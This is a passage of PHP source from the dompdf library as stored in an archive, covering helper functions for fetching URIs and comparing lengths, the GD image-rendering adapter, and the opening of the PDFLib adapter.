        $can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);

        set_error_handler([self::class, 'record_warnings']);

        try {
            if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
                if ($is_local_path === false) {
                    $uri = Helpers::encodeURI($uri);
                }
                if (isset($maxlen)) {
                    $result = file_get_contents($uri, false, $context, $offset, $maxlen);
                } else {
                    $result = file_get_contents($uri, false, $context, $offset);
                }
                if ($result !== false) {
                    $content = $result;
                }
                if (isset($http_response_header)) {
                    $headers = $http_response_header;
                }

            } elseif ($can_use_curl && function_exists('curl_exec')) {
                $curl = curl_init($uri);

                curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($curl, CURLOPT_HEADER, true);
                if ($offset > 0) {
                    curl_setopt($curl, CURLOPT_RESUME_FROM, $offset);
                }

                if ($maxlen > 0) {
                    curl_setopt($curl, CURLOPT_BUFFERSIZE, 128);
                    curl_setopt($curl, CURLOPT_NOPROGRESS, false);
                    curl_setopt($curl, CURLOPT_PROGRESSFUNCTION, function ($res, $download_size_total, $download_size, $upload_size_total, $upload_size) use ($maxlen) {
                        return ($download_size > $maxlen) ? 1 : 0;
                    });
                }

                $context_options = [];
                if (!is_null($context)) {
                    $context_options = stream_context_get_options($context);
                }
                foreach ($context_options as $stream => $options) {
                    foreach ($options as $option => $value) {
                        $key = strtolower($stream) . ":" . strtolower($option);
                        switch ($key) {
                            case "curl:curl_verify_ssl_host":
                                curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, !$value ? 0 : 2);
                                break;
                            case "curl:max_redirects":
                                curl_setopt($curl, CURLOPT_MAXREDIRS, $value);
                                break;
                            case "http:follow_location":
                                curl_setopt($curl, CURLOPT_FOLLOWLOCATION, $value);
                                break;
                            case "http:header":
                                if (is_string($value)) {
                                    curl_setopt($curl, CURLOPT_HTTPHEADER, [$value]);
                                } else {
                                    curl_setopt($curl, CURLOPT_HTTPHEADER, $value);
                                }
                                break;
                            case "http:timeout":
                                curl_setopt($curl, CURLOPT_TIMEOUT, $value);
                                break;
                            case "http:user_agent":
                                curl_setopt($curl, CURLOPT_USERAGENT, $value);
                                break;
                            case "curl:curl_verify_ssl_peer":
                            case "ssl:verify_peer":
                                curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, $value);
                                break;
                        }
                    }
                }

                $data = curl_exec($curl);

                if ($data !== false && !curl_errno($curl)) {
                    switch ($http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE)) {
                        case 200:
                            $raw_headers = substr($data, 0, curl_getinfo($curl, CURLINFO_HEADER_SIZE));
                            $headers = preg_split("/[\n\r]+/", trim($raw_headers));
                            $content = substr($data, curl_getinfo($curl, CURLINFO_HEADER_SIZE));
                            break;
                    }
                }
                curl_close($curl);
            }
        } finally {
            restore_error_handler();
        }

        return [$content, $headers];
    }

    /**
     * @param string $str
     * @return string
     */
    public static function mb_ucwords(string $str): string
    {
        $max_len = mb_strlen($str);
        if ($max_len === 1) {
            return mb_strtoupper($str);
        }

        $str = mb_strtoupper(mb_substr($str, 0, 1)) . mb_substr($str, 1);

        foreach ([' ', '.', ',', '!', '?', '-', '+'] as $s) {
            $pos = 0;
            while (($pos = mb_strpos($str, $s, $pos)) !== false) {
                $pos++;
                // Nothing to do if the separator is the last char of the string
                if ($pos !== false && $pos < $max_len) {
                    // If the char we want to upper is the last char there is nothing to append behind
                    if ($pos + 1 < $max_len) {
                        $str = mb_substr($str, 0, $pos) . mb_strtoupper(mb_substr($str, $pos, 1)) . mb_substr($str, $pos + 1);
                    } else {
                        $str = mb_substr($str, 0, $pos) . mb_strtoupper(mb_substr($str, $pos, 1));
                    }
                }
            }
        }

        return $str;
    }

    /**
     * Check whether two lengths should be considered equal, accounting for
     * inaccuracies in float computation.
     *
     * The implementation relies on the fact that we are neither dealing with
     * very large, nor with very small numbers in layout. Adapted from
     * https://floating-point-gui.de/errors/comparison/.
     *
     * @param float $a
     * @param float $b
     *
     * @return bool
     */
    public static function lengthEqual(float $a, float $b): bool
    {
        // The epsilon results in a precision of at least:
        // * 7 decimal digits at around 1
        // * 4 decimal digits at around 1000 (around the size of common paper formats)
        // * 2 decimal digits at around 100,000 (100,000pt ~ 35.28m)
        static $epsilon = 1e-8;
        static $almostZero = 1e-12;

        $diff = abs($a - $b);

        if ($a === $b || $diff < $almostZero) {
            return true;
        }

        return $diff < $epsilon * max(abs($a), abs($b));
    }

    /**
     * Check `$a < $b`, accounting for inaccuracies in float computation.
     */
    public static function lengthLess(float $a, float $b): bool
    {
        return $a < $b && !self::lengthEqual($a, $b);
    }

    /**
     * Check `$a <= $b`, accounting for inaccuracies in float computation.
     */
    public static function lengthLessOrEqual(float $a, float $b): bool
    {
        return $a <= $b || self::lengthEqual($a, $b);
    }

    /**
     * Check `$a > $b`, accounting for inaccuracies in float computation.
     */
    public static function lengthGreater(float $a, float $b): bool
    {
        return $a > $b && !self::lengthEqual($a, $b);
    }

    /**
     * Check `$a >= $b`, accounting for inaccuracies in float computation.
     */
    public static function lengthGreaterOrEqual(float $a, float $b): bool
    {
        return $a >= $b || self::lengthEqual($a, $b);
    }
}
vendor/dompdf/dompdf/src/Adapter/GD.php000066600000072654151150443010013751 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Adapter;

use Dompdf\Canvas;
use Dompdf\Dompdf;
use Dompdf\Helpers;
use Dompdf\Image\Cache;

/**
 * Image rendering interface
 *
 * Renders to an image format supported by GD (jpeg, gif, png, xpm).
 * Not super-useful day-to-day but handy nonetheless
 *
 * @package dompdf
 */
class GD implements Canvas
{
    /**
     * @var Dompdf
     */
    protected $_dompdf;

    /**
     * Resource handle for the image
     *
     * @var \GdImage|resource
     */
    protected $_img;

    /**
     * Resource handle for the image
     *
     * @var \GdImage[]|resource[]
     */
    protected $_imgs;

    /**
     * Apparent canvas width in pixels
     *
     * @var int
     */
    protected $_width;

    /**
     * Apparent canvas height in pixels
     *
     * @var int
     */
    protected $_height;

    /**
     * Actual image width in pixels
     *
     * @var int
     */
    protected $_actual_width;

    /**
     * Actual image height in pixels
     *
     * @var int
     */
    protected $_actual_height;

    /**
     * Current page number
     *
     * @var int
     */
    protected $_page_number;

    /**
     * Total number of pages
     *
     * @var int
     */
    protected $_page_count;

    /**
     * Image antialias factor
     *
     * @var float
     */
    protected $_aa_factor;

    /**
     * Allocated colors
     *
     * @var array
     */
    protected $_colors;

    /**
     * Background color
     *
     * @var int
     */
    protected $_bg_color;

    /**
     * Background color array
     *
     * @var array
     */
    protected $_bg_color_array;

    /**
     * Actual DPI
     *
     * @var int
     */
    protected $dpi;

    /**
     * Amount to scale font sizes
     *
     * Font sizes are 72 DPI, GD internally uses 96. Scale them proportionally.
     * 72 / 96 = 0.75.
     *
     * @var float
     */
    const FONT_SCALE = 0.75;

    /**
     * @param string|float[] $paper       The paper size to use as either a standard paper size (see {@link CPDF::$PAPER_SIZES}) or
     *                                    an array of the form `[x1, y1, x2, y2]` (typically `[0, 0, width, height]`).
     * @param string         $orientation The paper orientation, either `portrait` or `landscape`.
     * @param Dompdf|null    $dompdf      The Dompdf instance.
     * @param float          $aa_factor   Anti-aliasing factor, 1 for no AA
     * @param array          $bg_color    Image background color: array(r,g,b,a), 0 <= r,g,b,a <= 1
     */
    public function __construct($paper = "letter", string $orientation = "portrait", ?Dompdf $dompdf = null, float $aa_factor = 1.0, array $bg_color = [1, 1, 1, 0])
    {
        if (is_array($paper)) {
            $size = array_map("floatval", $paper);
        } else {
            $paper = strtolower($paper);
            $size = CPDF::$PAPER_SIZES[$paper] ?? CPDF::$PAPER_SIZES["letter"];
        }

        if (strtolower($orientation) === "landscape") {
            [$size[2], $size[3]] = [$size[3], $size[2]];
        }

        if ($dompdf === null) {
            $this->_dompdf = new Dompdf();
        } else {
            $this->_dompdf = $dompdf;
        }

        $this->dpi = $this->get_dompdf()->getOptions()->getDpi();

        if ($aa_factor < 1) {
            $aa_factor = 1;
        }

        $this->_aa_factor = $aa_factor;

        $size[2] *= $aa_factor;
        $size[3] *= $aa_factor;

        $this->_width = $size[2] - $size[0];
        $this->_height = $size[3] - $size[1];

        $this->_actual_width = $this->_upscale($this->_width);
        $this->_actual_height = $this->_upscale($this->_height);

        $this->_page_number = $this->_page_count = 0;

        if (is_null($bg_color) || !is_array($bg_color)) {
            // Pure white bg
            $bg_color = [1, 1, 1, 0];
        }

        $this->_bg_color_array = $bg_color;

        $this->new_page();
    }

    public function get_dompdf()
    {
        return $this->_dompdf;
    }

    /**
     * Return the GD image resource
     *
     * @return \GdImage|resource
     */
    public function get_image()
    {
        return $this->_img;
    }

    /**
     * Return the image's width in pixels
     *
     * @return int
     */
    public function get_width()
    {
        return round($this->_width / $this->_aa_factor);
    }

    /**
     * Return the image's height in pixels
     *
     * @return int
     */
    public function get_height()
    {
        return round($this->_height / $this->_aa_factor);
    }

    public function get_page_number()
    {
        return $this->_page_number;
    }

    public function get_page_count()
    {
        return $this->_page_count;
    }

    /**
     * Sets the current page number
     *
     * @param int $num
     */
    public function set_page_number($num)
    {
        $this->_page_number = $num;
    }

    public function set_page_count($count)
    {
        $this->_page_count = $count;
    }

    public function set_opacity(float $opacity, string $mode = "Normal"): void
    {
        // FIXME
    }

    /**
     * Allocate a new color.  Allocate with GD as needed and store
     * previously allocated colors in $this->_colors.
     *
     * @param array $color The new current color
     * @return int The allocated color
     */
    protected function _allocate_color($color)
    {
        $a = isset($color["alpha"]) ? $color["alpha"] : 1;

        if (isset($color["c"])) {
            $color = Helpers::cmyk_to_rgb($color);
        }

        list($r, $g, $b) = $color;

        $r = round($r * 255);
        $g = round($g * 255);
        $b = round($b * 255);
        $a = round(127 - ($a * 127));

        // Clip values
        $r = $r > 255 ? 255 : $r;
        $g = $g > 255 ? 255 : $g;
        $b = $b > 255 ? 255 : $b;
        $a = $a > 127 ? 127 : $a;

        $r = $r < 0 ? 0 : $r;
        $g = $g < 0 ? 0 : $g;
        $b = $b < 0 ? 0 : $b;
        $a = $a < 0 ? 0 : $a;

        $key = sprintf("#%02X%02X%02X%02X", $r, $g, $b, $a);

        if (isset($this->_colors[$key])) {
            return $this->_colors[$key];
        }

        if ($a != 0) {
            $this->_colors[$key] = imagecolorallocatealpha($this->get_image(), $r, $g, $b, $a);
        } else {
            $this->_colors[$key] = imagecolorallocate($this->get_image(), $r, $g, $b);
        }

        return $this->_colors[$key];
    }

    /**
     * Scales value up to the current canvas DPI from 72 DPI
     *
     * @param float $length
     * @return int
     */
    protected function _upscale($length)
    {
        return round(($length * $this->dpi) / 72 * $this->_aa_factor);
    }

    /**
     * Scales value down from the current canvas DPI to 72 DPI
     *
     * @param float $length
     * @return float
     */
    protected function _downscale($length)
    {
        return round(($length / $this->dpi * 72) / $this->_aa_factor);
    }

    protected function convertStyle(array $style, int $color, int $width): array
    {
        $gdStyle = [];

        if (count($style) === 1) {
            $style[] = $style[0];
        }

        foreach ($style as $index => $s) {
            $d = $this->_upscale($s);

            for ($i = 0; $i < $d; $i++) {
                for ($j = 0; $j < $width; $j++) {
                    $gdStyle[] = $index % 2 === 0
                        ? $color
                        : IMG_COLOR_TRANSPARENT;
                }
            }
        }

        return $gdStyle;
    }

    public function line($x1, $y1, $x2, $y2, $color, $width, $style = [], $cap = "butt")
    {
        // Account for the fact that round and square caps are expected to
        // extend outwards
        if ($cap === "round" || $cap === "square") {
            // Shift line by half width
            $w = $width / 2;
            $a = $x2 - $x1;
            $b = $y2 - $y1;
            $c = sqrt($a ** 2 + $b ** 2);
            $dx = $a * $w / $c;
            $dy = $b * $w / $c;

            $x1 -= $dx;
            $x2 -= $dx;
            $y1 -= $dy;
            $y2 -= $dy;

            // Adapt dash pattern
            if (is_array($style)) {
                foreach ($style as $index => &$s) {
                    $s = $index % 2 === 0 ? $s + $width : $s - $width;
                }
            }
        }

        // Scale by the AA factor and DPI
        $x1 = $this->_upscale($x1);
        $y1 = $this->_upscale($y1);
        $x2 = $this->_upscale($x2);
        $y2 = $this->_upscale($y2);
        $width = $this->_upscale($width);

        $c = $this->_allocate_color($color);

        // Convert the style array if required
        if (is_array($style) && count($style) > 0) {
            $gd_style = $this->convertStyle($style, $c, $width);

            if (!empty($gd_style)) {
                imagesetstyle($this->get_image(), $gd_style);
                $c = IMG_COLOR_STYLED;
            }
        }

        imagesetthickness($this->get_image(), $width);

        imageline($this->get_image(), $x1, $y1, $x2, $y2, $c);
    }

    public function arc($x, $y, $r1, $r2, $astart, $aend, $color, $width, $style = [], $cap = "butt")
    {
        // Account for the fact that round and square caps are expected to
        // extend outwards
        if ($cap === "round" || $cap === "square") {
            // Adapt dash pattern
            if (is_array($style)) {
                foreach ($style as $index => &$s) {
                    $s = $index % 2 === 0 ? $s + $width : $s - $width;
                }
            }
        }

        // Scale by the AA factor and DPI
        $x = $this->_upscale($x);
        $y = $this->_upscale($y);
        $w = $this->_upscale($r1 * 2);
        $h = $this->_upscale($r2 * 2);
        $width = $this->_upscale($width);

        // Adapt angles as imagearc counts clockwise
        $start = 360 - $aend;
        $end = 360 - $astart;

        $c = $this->_allocate_color($color);

        // Convert the style array if required
        if (is_array($style) && count($style) > 0) {
            $gd_style = $this->convertStyle($style, $c, $width);

            if (!empty($gd_style)) {
                imagesetstyle($this->get_image(), $gd_style);
                $c = IMG_COLOR_STYLED;
            }
        }

        imagesetthickness($this->get_image(), $width);

        imagearc($this->get_image(), $x, $y, $w, $h, $start, $end, $c);
    }

    public function rectangle($x1, $y1, $w, $h, $color, $width, $style = [], $cap = "butt")
    {
        // Account for the fact that round and square caps are expected to
        // extend outwards
        if ($cap === "round" || $cap === "square") {
            // Adapt dash pattern
            if (is_array($style)) {
                foreach ($style as $index => &$s) {
                    $s = $index % 2 === 0 ? $s + $width : $s - $width;
                }
            }
        }

        // Scale by the AA factor and DPI
        $x1 = $this->_upscale($x1);
        $y1 = $this->_upscale($y1);
        $w = $this->_upscale($w);
        $h = $this->_upscale($h);
        $width = $this->_upscale($width);

        $c = $this->_allocate_color($color);

        // Convert the style array if required
        if (is_array($style) && count($style) > 0) {
            $gd_style = $this->convertStyle($style, $c, $width);

            if (!empty($gd_style)) {
                imagesetstyle($this->get_image(), $gd_style);
                $c = IMG_COLOR_STYLED;
            }
        }

        imagesetthickness($this->get_image(), $width);

        if ($c === IMG_COLOR_STYLED) {
            $points = [
                $x1, $y1,
                $x1 + $w, $y1,
                $x1 + $w, $y1 + $h,
                $x1, $y1 + $h
            ];
            if (version_compare(PHP_VERSION, "8.1.0", "<")) {
                imagepolygon($this->get_image(), $points, count($points)/2, $c);
            } else {
                imagepolygon($this->get_image(), $points, $c);
            }
        } else {
            imagerectangle($this->get_image(), $x1, $y1, $x1 + $w, $y1 + $h, $c);
        }
    }

    public function filled_rectangle($x1, $y1, $w, $h, $color)
    {
        // Scale by the AA factor and DPI
        $x1 = $this->_upscale($x1);
        $y1 = $this->_upscale($y1);
        $w = $this->_upscale($w);
        $h = $this->_upscale($h);

        $c = $this->_allocate_color($color);

        imagefilledrectangle($this->get_image(), $x1, $y1, $x1 + $w, $y1 + $h, $c);
    }

    public function clipping_rectangle($x1, $y1, $w, $h)
    {
        // @todo
    }

    public function clipping_roundrectangle($x1, $y1, $w, $h, $rTL, $rTR, $rBR, $rBL)
    {
        // @todo
    }

    public function clipping_polygon(array $points): void
    {
        // @todo
    }

    public function clipping_end()
    {
        // @todo
    }

    public function save()
    {
        $this->get_dompdf()->getOptions()->setDpi(72);
    }

    public function restore()
    {
        $this->get_dompdf()->getOptions()->setDpi($this->dpi);
    }

    public function rotate($angle, $x, $y)
    {
        // @todo
    }

    public function skew($angle_x, $angle_y, $x, $y)
    {
        // @todo
    }

    public function scale($s_x, $s_y, $x, $y)
    {
        // @todo
    }

    public function translate($t_x, $t_y)
    {
        // @todo
    }

    public function transform($a, $b, $c, $d, $e, $f)
    {
        // @todo
    }

    public function polygon($points, $color, $width = null, $style = [], $fill = false)
    {
        // Scale each point by the AA factor and DPI
        foreach (array_keys($points) as $i) {
            $points[$i] = $this->_upscale($points[$i]);
        }

        $width = isset($width) ? $this->_upscale($width) : null;

        $c = $this->_allocate_color($color);

        // Convert the style array if required
        if (is_array($style) && count($style) > 0 && isset($width) && !$fill) {
            $gd_style = $this->convertStyle($style, $c, $width);

            if (!empty($gd_style)) {
                imagesetstyle($this->get_image(), $gd_style);
                $c = IMG_COLOR_STYLED;
            }
        }

        imagesetthickness($this->get_image(), isset($width) ? $width : 0);

        if ($fill) {
            if (version_compare(PHP_VERSION, "8.1.0", "<")) {
                imagefilledpolygon($this->get_image(), $points, count($points)/2, $c);
            } else {
                imagefilledpolygon($this->get_image(), $points, $c);
            }
        } else {
            if (version_compare(PHP_VERSION, "8.1.0", "<")) {
                imagepolygon($this->get_image(), $points, count($points)/2, $c);
            } else {
                imagepolygon($this->get_image(), $points, $c);
            }
        }
    }

    public function circle($x, $y, $r, $color, $width = null, $style = [], $fill = false)
    {
        // Scale by the AA factor and DPI
        $x = $this->_upscale($x);
        $y = $this->_upscale($y);
        $d = $this->_upscale(2 * $r);
        $width = isset($width) ? $this->_upscale($width) : null;

        $c = $this->_allocate_color($color);

        // Convert the style array if required
        if (is_array($style) && count($style) > 0 && isset($width) && !$fill) {
            $gd_style = $this->convertStyle($style, $c, $width);

            if (!empty($gd_style)) {
                imagesetstyle($this->get_image(), $gd_style);
                $c = IMG_COLOR_STYLED;
            }
        }

        imagesetthickness($this->get_image(), isset($width) ? $width : 0);

        if ($fill) {
            imagefilledellipse($this->get_image(), $x, $y, $d, $d, $c);
        } else {
            imageellipse($this->get_image(), $x, $y, $d, $d, $c);
        }
    }

    /**
     * @throws \Exception
     */
    public function image($img, $x, $y, $w, $h, $resolution = "normal")
    {
        $img_type = Cache::detect_type($img, $this->get_dompdf()->getHttpContext());

        if (!$img_type) {
            return;
        }

        $func_name = "imagecreatefrom$img_type";
        if (method_exists(Helpers::class, $func_name)) {
            $func_name = [Helpers::class, $func_name];
        } elseif (!function_exists($func_name)) {
            throw new \Exception("Function $func_name() not found.  Cannot convert $img_type image: $img.  Please install the image PHP extension.");
        }
        $src = @call_user_func($func_name, $img);

        if (!$src) {
            return; // Probably should add to $_dompdf_errors or whatever here
        }

        // Scale by the AA factor and DPI
        $x = $this->_upscale($x);
        $y = $this->_upscale($y);

        $w = $this->_upscale($w);
        $h = $this->_upscale($h);

        $img_w = imagesx($src);
        $img_h = imagesy($src);

        imagecopyresampled($this->get_image(), $src, $x, $y, 0, 0, $w, $h, $img_w, $img_h);
    }

    public function text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_spacing = 0.0, $char_spacing = 0.0, $angle = 0.0)
    {
        // Scale by the AA factor and DPI
        $x = $this->_upscale($x);
        $y = $this->_upscale($y);
        $size = $this->_upscale($size) * self::FONT_SCALE;

        $h = round($this->get_font_height_actual($font, $size));
        $c = $this->_allocate_color($color);

        // imagettftext() converts numeric entities to their respective
        // character. Preserve any originally double encoded entities to be
        // represented as is.
        // eg: &amp;#160; will render &#160; rather than its character.
        $text = preg_replace('/&(#(?:x[a-fA-F0-9]+|[0-9]+);)/', '&#38;\1', $text);

        $text = mb_encode_numericentity($text, [0x0080, 0xff, 0, 0xff], 'UTF-8');

        $font = $this->get_ttf_file($font);

        // FIXME: word spacing
        imagettftext($this->get_image(), $size, $angle, $x, $y + $h, $c, $font, $text);
    }

    public function javascript($code)
    {
        // Not implemented
    }

    public function add_named_dest($anchorname)
    {
        // Not implemented
    }

    public function add_link($url, $x, $y, $width, $height)
    {
        // Not implemented
    }

    public function add_info(string $label, string $value): void
    {
        // N/A
    }

    public function set_default_view($view, $options = [])
    {
        // N/A
    }

    private function getCharMap(string $font)
    {
        static $unicodeCharMapTables = [];

        if (isset($unicodeCharMapTables[$font])) {
            return $unicodeCharMapTables[$font];
        }

        $metrics_name = "$font.ufm";
        if (!file_exists($metrics_name)) {
            $metrics_name = "$font.afm";
        }
        if (!file_exists($metrics_name)) {
            return $unicodeCharMapTables[$font] = [];
        }

        $cache_name = "$metrics_name.json";
        if (file_exists($cache_name)) {
            $cached_font_info = json_decode(file_get_contents($cache_name), true);
            $char_map = $cached_font_info['C'];
            return $unicodeCharMapTables[$font] = $char_map;
        }

        $char_map = [];
        $file = file("$metrics_name");
        foreach ($file as $rowA) {
            $row = trim($rowA);
            $pos = strpos($row, ' ');

            if ($pos) {
                // then there must be some keyword
                $key = substr($row, 0, $pos);
                switch ($key) {
                    case 'C': // Found in AFM files
                        $bits = explode(';', trim($row));
                        $dtmp = ['C' => null, 'N' => null, 'WX' => null, 'B' => []];

                        foreach ($bits as $bit) {
                            $bits2 = explode(' ', trim($bit));
                            if (mb_strlen($bits2[0], '8bit') == 0) {
                                continue;
                            }

                            if (count($bits2) > 2) {
                                $dtmp[$bits2[0]] = [];
                                for ($i = 1; $i < count($bits2); $i++) {
                                    $dtmp[$bits2[0]][] = $bits2[$i];
                                }
                            } else {
                                if (count($bits2) == 2) {
                                    $dtmp[$bits2[0]] = $bits2[1];
                                }
                            }
                        }

                        $c = (int)$dtmp['C'];
                        $n = $dtmp['N'];
                        $width = floatval($dtmp['WX']);

                        if ($c >= 0) {
                            $char_map[$c] = $width;
                        } elseif (isset($n)) {
                            $char_map[$n] = $width;
                        }
                        break;

                    // U 827 ; WX 0 ; N squaresubnosp ; G 675 ;
                    case 'U': // Found in UFM files
                        $bits = explode(';', trim($row));
                        $dtmp = ['G' => null, 'N' => null, 'U' => null, 'WX' => null];

                        foreach ($bits as $bit) {
                            $bits2 = explode(' ', trim($bit));
                            if (mb_strlen($bits2[0], '8bit') === 0) {
                                continue;
                            }

                            if (count($bits2) > 2) {
                                $dtmp[$bits2[0]] = [];
                                for ($i = 1; $i < count($bits2); $i++) {
                                    $dtmp[$bits2[0]][] = $bits2[$i];
                                }
                            } else {
                                if (count($bits2) == 2) {
                                    $dtmp[$bits2[0]] = $bits2[1];
                                }
                            }
                        }

                        $c = (int)$dtmp['U'];
                        $n = $dtmp['N'];
                        $glyph = $dtmp['G'];
                        $width = floatval($dtmp['WX']);

                        if ($c >= 0) {
                            $char_map[$c] = $width;
                        } elseif (isset($n)) {
                            $char_map[$n] = $width;
                        }

                        break;
                }
            }
        }

        return $unicodeCharMapTables[$font] = $char_map;
    }

    public function font_supports_char(string $font, string $char): bool
    {
        if ($char === "") {
            return true;
        }

        $font = $this->get_ttf_file($font);
        $charMap = $this->getCharMap($font);
        $charCode = Helpers::uniord($char, "UTF-8");

        return \array_key_exists($charCode, $charMap);
    }

    public function get_text_width($text, $font, $size, $word_spacing = 0.0, $char_spacing = 0.0)
    {
        $font = $this->get_ttf_file($font);
        $size = $this->_upscale($size) * self::FONT_SCALE;

        // imagettfbbox() converts numeric entities to their respective
        // character. Preserve any originally double encoded entities to be
        // represented as is.
        // eg: &amp;#160; will render &#160; rather than its character.
        $text = preg_replace('/&(#(?:x[a-fA-F0-9]+|[0-9]+);)/', '&#38;\1', $text);

        $text = mb_encode_numericentity($text, [0x0080, 0xffff, 0, 0xffff], 'UTF-8');

        // FIXME: word spacing
        list($x1, , $x2) = imagettfbbox($size, 0, $font, $text);

        // Add additional 1pt to prevent text overflow issues
        return $this->_downscale($x2 - $x1) + 1;
    }

    /**
     * @param string|null $font
     * @return string
     */
    public function get_ttf_file($font)
    {
        if ($font === null) {
            $font = "";
        }

        if ( stripos($font, ".ttf") === false ) {
            $font .= ".ttf";
        }

        if (!file_exists($font)) {
            $font_metrics = $this->_dompdf->getFontMetrics();
            $font = $font_metrics->getFont($this->_dompdf->getOptions()->getDefaultFont()) . ".ttf";
            if (!file_exists($font)) {
                if (strpos($font, "mono")) {
                    $font = $font_metrics->getFont("DejaVu Mono") . ".ttf";
                } elseif (strpos($font, "sans") !== false) {
                    $font = $font_metrics->getFont("DejaVu Sans") . ".ttf";
                } elseif (strpos($font, "serif")) {
                    $font = $font_metrics->getFont("DejaVu Serif") . ".ttf";
                } else {
                    $font = $font_metrics->getFont("DejaVu Sans") . ".ttf";
                }
            }
        }

        return $font;
    }

    public function get_font_height($font, $size)
    {
        $size = $this->_upscale($size) * self::FONT_SCALE;

        $height = $this->get_font_height_actual($font, $size);

        return $this->_downscale($height);
    }

    /**
     * @param string $font
     * @param float  $size
     *
     * @return float
     */
    protected function get_font_height_actual($font, $size)
    {
        $font = $this->get_ttf_file($font);
        $ratio = $this->_dompdf->getOptions()->getFontHeightRatio();

        // FIXME: word spacing
        list(, $y2, , , , $y1) = imagettfbbox($size, 0, $font, "MXjpqytfhl"); // Test string with ascenders, descenders and caps
        return ($y2 - $y1) * $ratio;
    }

    public function get_font_baseline($font, $size)
    {
        $ratio = $this->_dompdf->getOptions()->getFontHeightRatio();
        return $this->get_font_height($font, $size) / $ratio;
    }

    public function new_page()
    {
        $this->_page_number++;
        $this->_page_count++;

        $this->_img = imagecreatetruecolor($this->_actual_width, $this->_actual_height);

        $this->_bg_color = $this->_allocate_color($this->_bg_color_array);
        imagealphablending($this->_img, true);
        imagesavealpha($this->_img, true);
        imagefill($this->_img, 0, 0, $this->_bg_color);

        $this->_imgs[] = $this->_img;
    }

    public function open_object()
    {
        // N/A
    }

    public function close_object()
    {
        // N/A
    }

    public function add_object()
    {
        // N/A
    }

    public function page_script($callback): void
    {
        // N/A
    }

    public function page_text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_space = 0.0, $char_space = 0.0, $angle = 0.0)
    {
        // N/A
    }

    public function page_line($x1, $y1, $x2, $y2, $color, $width, $style = [])
    {
        // N/A
    }

    /**
     * Streams the image to the client.
     *
     * @param string $filename The filename to present to the client.
     * @param array  $options  Associative array: 'type' => jpeg|jpg|png; 'quality' => 0 - 100 (JPEG only);
     *     'page' => Number of the page to output (defaults to the first); 'Attachment': 1 or 0 (default 1).
     */
    public function stream($filename, $options = [])
    {
        if (headers_sent()) {
            die("Unable to stream image: headers already sent");
        }

        if (!isset($options["type"])) $options["type"] = "png";
        if (!isset($options["Attachment"])) $options["Attachment"] = true;
        $type = strtolower($options["type"]);

        switch ($type) {
            case "jpg":
            case "jpeg":
                $contentType = "image/jpeg";
                $extension = ".jpg";
                break;
            case "png":
            default:
                $contentType = "image/png";
                $extension = ".png";
                break;
        }

        header("Cache-Control: private");
        header("Content-Type: $contentType");

        $filename = str_replace(["\n", "'"], "", basename($filename, ".$type")) . $extension;
        $attachment = $options["Attachment"] ? "attachment" : "inline";
        header(Helpers::buildContentDispositionHeader($attachment, $filename));

        $this->_output($options);
        flush();
    }

    /**
     * Returns the image as a string.
     *
     * @param array $options Associative array: 'type' => jpeg|jpg|png; 'quality' => 0 - 100 (JPEG only);
     *     'page' => Number of the page to output (defaults to the first).
     * @return string
     */
    public function output($options = [])
    {
        ob_start();

        $this->_output($options);

        return ob_get_clean();
    }

    /**
     * Outputs the image stream directly.
     *
     * @param array $options Associative array: 'type' => jpeg|jpg|png; 'quality' => 0 - 100 (JPEG only);
     *     'page' => Number of the page to output (defaults to the first).
     */
    protected function _output($options = [])
    {
        if (!isset($options["type"])) $options["type"] = "png";
        if (!isset($options["page"])) $options["page"] = 1;
        $type = strtolower($options["type"]);

        if (isset($this->_imgs[$options["page"] - 1])) {
            $img = $this->_imgs[$options["page"] - 1];
        } else {
            $img = $this->_imgs[0];
        }

        // Perform any antialiasing
        if ($this->_aa_factor != 1) {
            $dst_w = round($this->_actual_width / $this->_aa_factor);
            $dst_h = round($this->_actual_height / $this->_aa_factor);
            $dst = imagecreatetruecolor($dst_w, $dst_h);
            imagecopyresampled($dst, $img, 0, 0, 0, 0,
                $dst_w, $dst_h,
                $this->_actual_width, $this->_actual_height);
        } else {
            $dst = $img;
        }

        switch ($type) {
            case "jpg":
            case "jpeg":
                if (!isset($options["quality"])) {
                    $options["quality"] = 75;
                }

                imagejpeg($dst, null, $options["quality"]);
                break;
            case "png":
            default:
                imagepng($dst);
                break;
        }

        if ($this->_aa_factor != 1) {
            imagedestroy($dst);
        }
    }
}
vendor/dompdf/dompdf/src/Adapter/PDFLib.php000066600000132162151150443010014506 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Adapter;

use Dompdf\Canvas;
use Dompdf\Dompdf;
use Dompdf\Exception;
use Dompdf\FontMetrics;
use Dompdf\Helpers;
use Dompdf\Image\Cache;

/**
 * PDF rendering interface
 *
 * Dompdf\Adapter\PDFLib provides a simple, stateless interface to the one
 * provided by PDFLib.
 *
 * Unless otherwise mentioned, all dimensions are in points (1/72 in).
 * The coordinate origin is in the top left corner and y values
 * increase downwards.
 *
 * See {@link http://www.pdflib.com/} for more complete documentation
 * on the underlying PDFlib functions.
 *
 * @package dompdf
 */
class PDFLib implements Canvas
{

    /**
     * Dimensions of paper sizes in points
     *
     * @var array
     */
    public static $PAPER_SIZES = []; // Set to Dompdf\Adapter\CPDF::$PAPER_SIZES below.

    /**
     * Whether to create PDFs in memory or on disk
     *
     * @var bool
     */
    static $IN_MEMORY = true;

    /**
     * Saves the major version of PDFLib for compatibility requests
     *
     * @var null|int
     */
    protected static $MAJOR_VERSION = null;


    /**
     * Transforms the list of native fonts into PDFLib compatible names (casesensitive)
     *
     * @var array
     */
    public static $nativeFontsToPDFLib = [
        "courier"               => "Courier",
        "courier-bold"          => "Courier-Bold",
        "courier-oblique"       => "Courier-Oblique",
        "courier-boldoblique"   => "Courier-BoldOblique",
        "helvetica"             => "Helvetica",
        "helvetica-bold"        => "Helvetica-Bold",
        "helvetica-oblique"     => "Helvetica-Oblique",
        "helvetica-boldoblique" => "Helvetica-BoldOblique",
